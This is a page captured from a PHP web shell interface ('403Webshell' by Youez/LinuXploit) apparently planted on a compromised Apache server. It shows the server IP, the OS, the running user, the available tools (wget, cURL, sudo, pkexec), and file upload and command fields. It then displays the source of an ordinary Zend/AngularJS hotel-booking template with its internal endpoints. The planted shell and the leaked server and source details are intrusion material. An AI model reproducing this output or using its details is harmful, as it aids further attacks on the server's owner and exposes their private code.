403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/views/scripts/accommodation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/views/scripts/accommodation/add-hotels.phtml
<?php
$hotelDetails = $this->hotelDetails;
$arrAroundProprty = Zend_Controller_Action_HelperBroker::getStaticHelper('Hotel')->getAroundProprty();
//print_r(json_encode($arrAroundProprty));die;
$sessionLogin_user = new Zend_Session_Namespace('sessionLogin_user');
$IsHotelInventory = $sessionLogin_user->agencyDetails['IsHotelInventory'];
$IsHotelOnlyRates = $sessionLogin_user->agencyDetails['IsHotelOnlyRates'];
?>

<!--Page main section start-->
<section id="min-wrapper" class="active" ng-app="myApp">
    <div id="main-content">
        <div class="container-fluid">
            <div class="row">
                <div class="col-md-12">
                    <!--Top header start-->

                    <!--Top breadcrumb start -->
                    <ol class="breadcrumb">
                        <li><a href="#"><i class="fa fa-home"></i></a></li>
                        <li class="active">Accommodation</li><li class="active"><?= !empty($this->hotel_id) ? 'Update Hotels - ' . $hotelDetails['Title'] . '' : 'Add Hotels' ?> </li>
                    </ol>
                    <!--Top breadcrumb start -->
                </div>

                <!--for display message div-->
                <?php if (!empty($this->messages)) { ?>
                    <div class="col-md-12" id="message_hotel_div"> 
                        <div class="alert alert-success">
                            <button aria-hidden="true" id="hideHotelMessage" class="close" type="button">×</button>
                            <?php foreach ($this->messages as $message) { ?>
                                <span id="success-message-box"><?php echo $this->escape($message); ?></span>
                            <?php } ?>    
                        </div>   
                    </div> 
                <?php } ?>

            </div>

            <script type="text/javascript">
                $("#hideHotelMessage").click(function(){
                $("#message_hotel_div").hide();
                });</script>    
            <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.4/angular.min.js"></script>
            <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.4/angular-route.js"></script>  
            <!-- Main Content Element  Start-->
            <div class="row">                    
                <?php if (!empty($this->hotel_id)) { ?>
                    <input type="hidden" name="update_hotel_id" id="update_hotel_id" value="<?= $this->hotel_id ?>"> 
                <?php } ?>                      

                <div class="col-md-12">
                    <div class="leadeBorder2">

                        <div class="panel-body">
                            <div class="form-group form-group1 text-right query_listing_bg_margin_bottom_15">
                                <div class="mobile_scrolling">
                                    <span style="float:left; margin-left:5px; text-decoration: none;    font-weight: bold;font-size: 16px;"><?= !empty($this->hotel_id) ? $hotelDetails['Title'] . ' (' . $this->hotel_id .')' : 'Add Hotels' ?></span>
                                <!--<a href="<?php echo $this->baseUrl('hotel/manage'); ?>" style="float:left;" class="btn btn-default btn-sm"><i class="fa fa-fw fa-arrows"></i> Rate Expired (10)</a>
                                  <a href="<?php echo $this->baseUrl('hotel/manage'); ?>" style="float:left; margin-left:5px;" class="btn btn-default btn-sm"><i class="fa fa-fw fa-arrows"></i> Promotion (20)</a>-->
                                    <a href="<?php echo $this->baseUrl('accommodation/manage'); ?>" class="btn btn-danger btn-sm"><i class="fa fa-eye"></i> My Hotels</a>
                                    <?php if ((!empty($IsHotelInventory) && ($IsHotelInventory == 1)) || (!empty($IsHotelOnlyRates) && ($IsHotelOnlyRates == 1))) { ?>
                                        <a href="<?php echo $this->baseUrl('accommodation/inventory'); ?>" class="btn btn-danger btn-sm"><i class="fa fa-eye"></i> Hotel Rates List</a>
                                        <!--<a href="<?php // echo $this->baseUrl('accommodation/rate-card');  ?>" class="btn btn-danger btn-sm"><i class="fa fa-plus"></i> Add Hotel Rates</a>-->
                                    <?php } ?>
                                </div>
                            </div>


                            <div ng-view></div>
                            <!-- <div class="panel with-nav-tabs panel-default">
                    <ul class="nav nav-tabs">
                      <li class="active"><a href="#!/" pages="addhotel">Add Hotel </a></li>
                      
                      <li ng-class="{active: $route.current.activetab == 'hotelcontact'}"><a href="#!hotelcontact" pages="hotelcontact" >Hotel Contact</a></li>
                      <li><a href="javascript:void(0)" class="" arpId="" roomId="" data="<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>" pages="hotelfacility" >Hotel Facility</a></li>
                      <li><a href="javascript:void(0)" class="" arpId="" roomId="" data="<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>" pages="aroundproperty" page="aroundproperty" >Around Property</a></li>
                      <li><a href="javascript:void(0)" class="" arpId="" roomId="" data="<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>" pages="roomdetails" page="roomdetails" >Room Details</a></li>
    
                    </ul>
                    
                    <div class="" id="" style="min-height:300px; ">
                        
                        <div class="tab-content" id="" >
                        <div ng-view></div>
                        </div>
                    
                    </div>
                </div>-->



                            <!--     <div class="panel with-nav-tabs panel-default">
                                    <ul class="nav nav-tabs">
                                      <li class="active"><a data-toggle="tab" href="javascript:void(0)" class="accommodation" arpId="" roomId="" data="<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>" pages="addhotels">Add Hotel </a></li>
                            <?php if (isset($this->hotel_id) && !empty($this->hotel_id)) { ?>
                                          <li><a data-toggle="tab" href="javascript:void(0)" class="accommodation" arpId="" roomId="" data="<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>" pages="hotelcontact" >Hotel Contact</a></li>
                                          <li><a data-toggle="tab" href="javascript:void(0)" class="accommodation" arpId="" roomId="" data="<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>" pages="hotelfacility" >Hotel Facility</a></li>
                                          <li><a data-toggle="tab" href="javascript:void(0)" class="accommodation" arpId="" roomId="" data="<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>" pages="aroundproperty" page="aroundproperty" >Around Property</a></li>
                                          <li><a data-toggle="tab" href="javascript:void(0)" class="accommodation" arpId="" roomId="" data="<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>" pages="roomdetails" page="roomdetails" >Room Details</a></li>
                                         
                            <?php } else { ?>
                                          
                            <?php } ?>
                                    </ul>
                                    
                                    <div class="" id="preview_pre" style="min-height:300px; ">
                                        <div class="tab-pane fade active in" id="preload">Loading</div>
                                        <div class="tab-content" id="preview" >
                                        
                                        </div>
                                    
                                    </div>
                                    
                                    
                                </div>-->


                        </div>
                    </div>
                </div>

            </div>
            <div class="modal fade" id="myModactpopup" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
            </div>
            <!-- Main Content Element  End-->
        </div>
    </div>

    <?php echo $this->render('copyrightfooter.phtml'); ?>
</section>
<!--Page main section end -->
<?php include_once 'application/views/scripts/newfooter.phtml'; ?>

<script type="text/javascript" src="<?php echo $this->baseUrl('public/assets/js/jquery.validate.min.js'); ?>"></script>
<script src="<?php echo $this->baseUrl(); ?>/public/js/hotel/accommodation.js"></script>
<script src="<?php echo $this->baseUrl('public/assets/ckeditor/ckeditor.js'); ?>"></script>
<script src="<?php echo $this->baseUrl('public/assets/js/summernote.min.js'); ?>"></script>

<script type="text/javascript">
    $(document).ready(function(){
    $('a[pages="addhotels"]').trigger('click');
    });
    function getSearchInventoryHotel(cityId)
            {
            if (cityId !== '0')
            {
            $.ajax({
            url  : '<?php echo $this->baseUrl('/hotel/get-search-inventory-hotel') ?>',
                    data : { cityId : cityId},
                    type : 'POST',
                    dataType : 'html',
                    beforeSend : function() {
                    //$("#select_hotel").empty();
                    },
                    success : function(response) {
                    $("#select_hotel").html(response);
                    }
            });
            }
            }

    function getSupplierHotel(cityId)
            {
            if (cityId !== '0')
            {
            $.ajax({
            url  : '<?php echo $this->baseUrl('/hotel/get-search-supplier-hotel') ?>',
                    data : { cityId : cityId},
                    type : 'POST',
                    dataType : 'html',
                    beforeSend : function() {
                    //$("#select_hotel").empty();
                    },
                    success : function(response) {
                    $("#select_supplier").html(response);
                    }
            });
            }
            }

    function GetSupplierInfo(suppliersysID) {
    $.ajax({
    url: '/package/supplierinfo/',
            data: {suppliersysID: suppliersysID},
            type: 'POST',
            dataType: 'html',
            error: function () {
            },
            beforeSend: function () {
            var image = "<div class= 'col-md-12' style='text-align: center; top: 150px;'><img id='imgId' src='<?php echo $this->baseUrl('public/images/load3.gif'); ?>'></div>";
            $("#myModactpopup").html(image);
            },
            success: function (response) {
            $("#myModactpopup").show();
            $("#myModactpopup").html(response);
            //alert(response);
            }
    });
    }
    function closepopup() {
    $("#myModactpopup").hide();
    }


</script>   

<script>
    var app = angular.module("myApp", ["ngRoute"]);
    app.config(function($routeProvider) {
    $routeProvider
            .when("/", {
            templateUrl : "/accommodation/addhotel/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>",
                    controller: 'PageController',
                    activetab: 'addhotel'
            })
            .when("/hotelcontact", {
            templateUrl : "/accommodation/hotelcontact/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>",
                    controller: 'PageController',
                    activetab: 'hotelcontact'
            })
            .when("/hotelfacility", {
            templateUrl : "/accommodation/hotelfacility/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>",
                    controller: 'PageController',
                    activetab: 'hotelfacility'
            })
            .when("/aroundproperty/:AroundPId?", {
            templateUrl: function(params) {
            if (params.AroundPId == undefined){
            return '/accommodation/aroundproperty/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>';
            } else{
            return '/accommodation/aroundproperty/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>/AroundPId/' + params.AroundPId;
            }

            },
                    controller: 'PageController',
                    activetab: 'aroundproperty'
            })
            .when("/roomdetails/:RoomId?", {
            templateUrl: function(params) {
            if (params.RoomId == undefined){
            return '/accommodation/roomdetails/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>';
            } else{
            return '/accommodation/roomdetails/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>/RoomId/' + params.RoomId;
            }

            },
                    controller: 'PageController',
                    activetab: 'roomdetails'
            })
            .when("/mealplanrates/:RoomId?", {
            templateUrl: function(params) {
            if (params.RoomId == undefined){
            return '/accommodation/mealplanrates/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>';
            } else{
            return '/accommodation/mealplanrates/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>/RoomId/' + params.RoomId;
            }

            },
                    controller: 'PageController',
                    activetab: 'mealplanrates'
            })
            .when("/promotion/:prmotionID?", {
            templateUrl: function(params) {
            if (params.prmotionID == undefined){
            return '/accommodation/promotion/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>';
            } else{
            return '/accommodation/promotion/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>/prmotionID/' + params.prmotionID;
            }

            },
                    controller: 'PageController',
                    activetab: 'promotion'
            })
            .when("/addupdatepromotion/:prmotionID?", {
            templateUrl: function(params) {
            if (params.prmotionID == undefined){
            return '/accommodation/addupdatepromotion/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>';
            } else{
            return '/accommodation/addupdatepromotion/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>/prmotionID/' + params.prmotionID;
            }

            },
                    controller: 'PageController',
                    activetab: 'addupdatepromotion'
            })
            .when("/tnc/:RoomId?", {
            templateUrl: function(params) {
            if (params.RoomId == undefined){
            return '/accommodation/tnc/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>';
            } else{
            return '/accommodation/tnc/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>/RoomId/' + params.RoomId;
            }

            },
                    controller: 'PageController',
                    activetab: 'tnc'
            })
            .when("/hotelpolicy", {
            templateUrl : "/accommodation/hotelpolicy/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>",
                    controller: 'PageController',
                    activetab: 'hotelpolicy'
            })
            .otherwise({ redirectTo: '/' });
    });
    app.directive('errSrc', function() {
    return {
    link: function(scope, element, attrs) {
    element.bind('error', function() {
    if (attrs.src !== attrs.errSrc) {
    attrs.$set('src', attrs.errSrc);
    }
    });
    }
    }
    });
    app.controller('PageController', ['$scope', '$route', '$routeParams', "$http", '$filter', function($scope, $route, $routeParams, $http, $filter){
    //var self=this;
    $scope.preload = false;
    $scope.aroundlist = [];
    $scope.hoteldetail = [];
    $scope.arrCity = [];
    $scope.hotelimage = [];
    $scope.hotelcontactdetail = [];
    $scope.hotelfacilitydetail = [];
    $scope.arrMasterAccomAminities = [];
    $scope.arrSelectedFacilities = [];
    $scope.roomdetailslist = [];
    $scope.temparoundData = {};
    $scope.temphocontact = {};
    $scope.aroudcontant = <?= json_encode($arrAroundProprty) ?>;
    $scope.cleanup = function(message) {
    return message.replace(/\s/g, '&nbsp;');
    };
    $scope.Showpreloader = function () {
    $('.preload').html('loading...');
    };
    // function to get records from the database

    $scope.getAroundpr = function(){
    $http({
    method : "GET",
            url: "/accommodation/getaroundpr/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>"
    }).then(function success(response){
    if (response.data.status === 'OK'){
    $scope.aroundlist = response.data.records;
    }
    if (response.data.rooms > 0){
    $('.mealplanrates,.roomwiserates,.promotion,.cancellation_policy,.transportratecard').attr('disabled', false);
    if (response.data.RateType == 0){
    $('.roomwiserates,.promotion,.cancellation_policy,.transportratecard').attr('disabled', true);
    }
    } else{
    $('.mealplanrates,.roomwiserates,.promotion,.cancellation_policy,.transportratecard').attr('disabled', true);
    }
    });
    };
    $scope.getHotelContact = function(){
    $http({
    method : "GET",
            url: "/accommodation/getnghotelcontact/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>"
    }).then(function success(response){
    if (response.data.status === 'OK'){

    $scope.hotelcontactdetail = response.data.records;
    if (response.data.countrycode !== null){
    $("#iti-flag").attr('class', 'iti-flag ' + response.data.countrycode + '');
    $("#Countrycode").val(response.data.records.countrycode);
    }
    if (response.data.records.GeoLat.trim() !== ''){
    //console.log(response.data.records.GeoLong);
    $('#latitude').val(response.data.records.GeoLat.trim());
    $scope.temphocontact = {GeoLat:response.data.records.GeoLat.trim()};
    }
    if (response.data.records.GeoLong.trim() !== ''){
    $('#longitude').val(response.data.records.GeoLong.trim());
    $scope.temphocontact = {GeoLong:response.data.records.GeoLong.trim()};
    }
    $scope.temphocontact = {PinCode:response.data.records.PinCode.trim()};
    }
    if (response.data.rooms > 0){
    $('.mealplanrates,.roomwiserates,.promotion,.cancellation_policy').attr('disabled', false);
    if (response.data.RateType == 0){
    $('.roomwiserates,.promotion,.cancellation_policy').attr('disabled', true);
    }
    } else{
    $('.mealplanrates,.roomwiserates,.promotion,.cancellation_policy').attr('disabled', true);
    }
    CKEDITOR.replace('aboutHotelBrief', {});
    });
    };
    $scope.getHotelFacility = function(){
    $http({
    method : "GET",
            url: "/accommodation/getnghotelfacility/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>"
    }).then(function success(response){
    if (response.data.status === 'OK'){
    //console.log(response.data.arrMasterAccomAminities);
    $scope.arrSelectedFacilities = response.data.arrSelectedFacilities;
    $scope.hotelfacilitydetail = response.data.records;
    $('#CheckinTime').val(response.data.records.CheckinTime.trim());
    $('#CheckOutTime').val(response.data.records.CheckOutTime.trim());
    }
    if (response.data.rooms > 0){
    $('.mealplanrates,.roomwiserates,.promotion,.cancellation_policy,.transportratecard').attr('disabled', false);
    if (response.data.RateType == 0){
    $('.roomwiserates,.promotion,.cancellation_policy,.transportratecard').attr('disabled', true);
    }
    } else{
    $('.mealplanrates,.roomwiserates,.promotion,.cancellation_policy,.transportratecard').attr('disabled', true);
    }
    });
    };
    $scope.getAddHotelDetails = function(){

    var data = $.param({
    id: '<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>'
    });
    var config = {
    headers : {
    'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8;'
    }
    };
    $http.post('/accommodation/getaddhoteldetails', data, config).then(function success(response){
    if (response.data.rooms > 0){
    $('.mealplanrates,.roomwiserates,.promotion,.cancellation_policy').attr('disabled', false);
    if (response.data.RateType == 0){
    $('.roomwiserates,.promotion,.cancellation_policy').attr('disabled', true);
    }
    } else{
    $('.mealplanrates,.roomwiserates,.promotion,.cancellation_policy').attr('disabled', true);
    }
    if (response.data.status === 'OK'){
    //console.log(response.data.arrCity);
    $.each(response.data.arrCity, function (index, value) {
    $('#select-hotel-city').append('<option value="' + value.CityId + '">' + value.Title + '</option>');
    });
    $scope.hotelimage = response.data.resultimg;
    $scope.hoteldetail = response.data.records;
    //console.log(response.data.records.DetailImg);

    $('#select_hotel_country').val(response.data.records.ContId.trim()).focus();
    $('#select-hotel-city').val(response.data.records.CitySysId.trim()).focus();
    $('#star_rating').val(response.data.records.Stars.replace(".00", "")).focus();
    $('#ProprtyType').val(response.data.records.PropertyType).focus();
    $('#CheckinTime').val(response.data.records.CheckinTime.trim()).focus();
    $('#CheckOutTime').val(response.data.records.CheckOutTime.trim()).focus();
    $('#AreaSysId').val(response.data.records.ZoneSysId.trim()).focus();
    $('#SplitStayNights').val(response.data.records.SplitStayNights).focus();
    $('#MinStayNights').val(response.data.records.MinStayNights).focus();
    $('#CurrencyType').val(response.data.records.CurrencyType).focus();
    $('#ChildAge').val(response.data.records.ChildAge).focus();
    $('#hidden_selected_supplier_sys_id').val(response.data.records.SupplierSysId).focus();
    $('#supplier_name').val(response.data.records.suppliername).focus();
    $('#RateType').val(response.data.records.RateType).focus();
    $('#AreaName').val(response.data.records.AreaName).focus();
    if (response.data.records.HotelRateType == 3){
        $('#HotelRateType1').prop('checked', false);
        $('#HotelRateType3').prop('checked', true);
        $('#googleIdShow').show();
         $('.hideForSheet').hide();
        $('#GoogleSheetId').val(response.data.records.GoogleSheetId);
    } else{
        $('#HotelRateType1').prop('checked', true);
        $('#HotelRateType3').prop('checked', false);
        $('#googleIdShow').hide();
        $('#GoogleSheetId').val('');
        $('.hideForSheet').show();
    }
    $('#hotel_name').focus();
    var last = window.location.hash;
    if (last == '#!/tnc'){
    CKEDITOR.instances.inclusions.setData(response.data.records.Inclusions);
    CKEDITOR.instances.exclusions.setData(response.data.records.Exclusions);
    CKEDITOR.instances.booking_tc.setData(response.data.records.BookingTerms);
    }
    }
    });
//        $http({
//        method : "GET",
//        url: "/accommodation/getaddhoteldetails/id/<?////=!empty($this->hotel_id)?$this->hotel_id:''?>"
//        }).then(function success(response){
//            if(response.data.status === 'OK'){
//                //console.log(response.data.arrCity);
//                $.each(response.data.arrCity, function (index, value) {
//                    $('#select-hotel-city').append('<option value="' + value.CityId + '">' + value.Title + '</option>');
//                });
//                $scope.hotelimage = response.data.resultimg;
//                $scope.hoteldetail = response.data.records;
//                $('#select_hotel_country').val(response.data.records.ContId.trim());
//                $('#select-hotel-city').val(response.data.records.CitySysId.trim());
//                $('#star_rating').val(response.data.records.Stars.replace(".00", ""));
//                $('#ProprtyType').val(response.data.records.PropertyType);
//                $('#CheckinTime').val(response.data.records.CheckinTime.trim());
//                $('#CheckOutTime').val(response.data.records.CheckOutTime.trim());
//				
//            }
//        });
    };
    $scope.getRoomDetailList = function(){
    $http({
    method : "GET",
            url: "/accommodation/getroomdelist/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>"
    }).then(function success(response){
    if (response.data.status === 'OK'){
    //console.log(response.data.records); 
    $scope.roomdetailslist = response.data.records;
    }
    if (response.data.rooms > 0){
    $('.mealplanrates,.roomwiserates,.promotion,.cancellation_policy').attr('disabled', false);
    if (response.data.RateType == 0){
    $('.roomwiserates,.promotion,.cancellation_policy').attr('disabled', true);
    }
    } else{
    $('.mealplanrates,.roomwiserates,.promotion,.cancellation_policy').attr('disabled', true);
    }
    CKEDITOR.replace('CancellationPolicy', {});
    });
    };
    $scope.GetArval = function(id){
    return $scope.aroudcontant[id];
    };
    // function to edit data
    $scope.editAroundPr = function(values){
    $scope.temparoundData = {
    NearByPlaceSysId:values.NearByPlaceSysId,
            NearByPlaceCat:values.NearByPlaceCat,
            DistanceInKmTime:values.DistanceInKmTime,
            Description:values.Description
    };
    //console.log($scope.temparoundData);
    $('#NearByPlaceCat').val(values.NearByPlaceCat);
    $scope.index = $scope.aroundlist.indexOf(values);
    };
    $scope.editModeRoom = function(values){
    //console.log(values.room.ItemSysId);
    window.location = '/accommodation/add-hotels/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>#!/roomdetails/' + values.room.ItemSysId;
    //return;
    //$('#NearByPlaceCat').val(values.NearByPlaceCat);
    //$scope.index = $scope.aroundlist.indexOf(values);
    };
    $scope.updateStatusModeRoom = function(values, that){
    var conf = confirm('Are you sure to delete?');
    if (conf === true){
    var IsActive = values.room.IsActive;
    var ItemSysId = values.room.ItemSysId;
    var hotelid = '<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>';
    var config = {
    headers : {
    'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8;'
    }
    };
    $http({
    method : "POST",
            url: "/accommodation/update-room-status/ItemSysId/" + ItemSysId + "/hotelid/" + hotelid + "/IsActive/" + IsActive,
            data: '',
            headers:config,
            dataType: 'json',
    }).then(function success(response){

    window.location.reload();
    });
    }
    };
    $scope.updateStatusModePromotion = function(values, status,PromotionType = 0){
    var conf = confirm('Are you sure to Update Status?');
    if (conf === true){
    var IsActive = status;
    var AccomPromotionsSysId = values;
    var hotelid = '<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>';
    var config = {
    headers : {
    'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8;'
    }
    };
    $http({
    method : "POST",
            url: "/accommodation/update-promotion-status/AccomPromotionsSysId/" + AccomPromotionsSysId + "/hotelid/" + hotelid + "/IsActive/" + IsActive + "/PromotionType/"+PromotionType,
            data: '',
            headers:config,
            dataType: 'json',
    }).then(function success(response){

    window.location.reload();
    });
    }
    };
    $scope.deletePromotion = function(values,PromotionType = 0){
    var conf = confirm('Are you sure to delete?');
    if (conf === true){
    var AccomPromotionsSysId = values;
    var hotelid = '<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>';
    var config = {
    headers : {
    'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8;'
    }
    };
    $http({
    method : "POST",
            url: "/accommodation/delete-promotion/AccomPromotionsSysId/" + AccomPromotionsSysId + "/hotelid/" + hotelid + "/PromotionType/"+PromotionType,
            data: '',
            headers:config,
            dataType: 'json',
    }).then(function success(response){

    window.location.reload();
    });
    }
    };
    $scope.deletearoundpro = function(values){
    var conf = confirm('Are you sure to delete?');
    if (conf === true){
    var config = {
    headers : {
    'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8;'
    }
    };
    $http({
    method : "POST",
            url: "/accommodation/deletearoundpro/DeleteId/" + values.NearByPlaceSysId,
            data: 'DeleteId=' + values.NearByPlaceSysId,
            headers:config
    }).then(function success(response){
    if (response.data.success === true){
    //$scope.aroundlist = response.data.records;
    var index = $scope.aroundlist.indexOf(values);
    $scope.aroundlist.splice(index, 1);
    }
    });
    }
    };
    $scope.deletehotelimg = function(values){
    var conf = confirm('Are you sure to delete?');
    if (conf === true){
    var config = {
    headers : {
    'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8;'
    }
    };
    $http({
    method : "POST",
            url: "/accommodation/deletehotelcontimg/DeleteId/" + values.ImgIndex + "/hotel_id/" + values.AccomSysId,
            data: 'DeleteId=' + values.ImgIndex,
            //headers:config
    }).then(function success(response){
    if (response.data.success === true){
    var index = $scope.hotelimage.indexOf(values);
    $scope.hotelimage.splice(index, 1);
    }
    });
    }
    };
    $scope.deleteroomImg = function(img){
    //console.log(img.ImgIndex);
    var conf = confirm('Are you sure to delete?');
    if (conf === true){
    var config = {
    headers : {
    'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8;'
    }
    };
    $http({
    method : "POST",
            url: "/accommodation/deleteroomimg/DeleteId/" + img.ImgIndex,
            data: 'DeleteId=' + img.ImgIndex,
            headers:config
    }).then(function success(response){
    if (response.data.success === true){
    $('#hide_' + img.ImgIndex + '').hide();
    } else{
    alert('Oops something wrong!?');
    return;
    }
    });
    }
    };
    $scope.getHotelMealPlanDetails = function(){
    $http({
    method : "GET",
            url: "/accommodation/getnghotelmealplanrate/id/<?= !empty($this->hotel_id) ? $this->hotel_id : '' ?>"
    }).then(function success(response){
    if (response.data.status === 'OK'){

    $('.roomwiserates,.promotion,.cancellation_policy').attr('disabled', true);
    if (response.data.IsRateType == 1){
    //$('.RateTypeClass').prop('disabled',true);
    $('.roomwiserates,.promotion,.cancellation_policy').attr('disabled', false);
    }
    if (response.data.RateType > 0){
    $('.RateTypeClass').prop('checked', false);
    $('.RateTypeClass' + response.data.RateType).prop('checked', true).click();
    $('#tableMealplan').show();
    if (response.data.RateType == 1){
    $('#MealPlan_Cp_html').show();
    } else{
    $('#MealPlan_Cp_html').hide();
    }
    $('#adult_rate_6').val(response.data.records[6].AdultAmount);
    $('#child_rate_6').val(response.data.records[6].ChildAmount);
    $('#adult_rate_7').val(response.data.records[7].AdultAmount);
    $('#child_rate_7').val(response.data.records[7].ChildAmount);
    $('#adult_rate_8').val(response.data.records[8].AdultAmount);
    $('#child_rate_8').val(response.data.records[8].ChildAmount);
    $('#adult_rate_3').val(response.data.records[3].AdultAmount);
    $('#child_rate_3').val(response.data.records[3].ChildAmount);
    $('#adult_rate_10').val(response.data.records[10].AdultAmount);
    $('#child_rate_10').val(response.data.records[10].ChildAmount);
    }



    }
    });
    };
    //console.log($scope.aroudcontant);

//    $http({
//            method : "GET",
//            url: "./accommodation/hotelcontact/id/224019"
//
//    }).then(function success(response){
//            //console.log(response);
//
//    }, function error(response){
//
//    });

    $scope.$route = $route;
    //console.log($routeParams.AroundPId);


    }]);
    function gotTotab(tab){
    $("a[pages='" + tab + "']").trigger("click");
    }
    
</script> 
<script>
function postUrlToAddNewRate(AccomSysId){
    var form = '';
        form += '<input type="hidden" name="hid" value="' + AccomSysId + '">';
    $('<form target="_blank"  action="/accommodation/inventory" method="POST">'+form+'</form>').appendTo($(document.body)).submit();
}
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit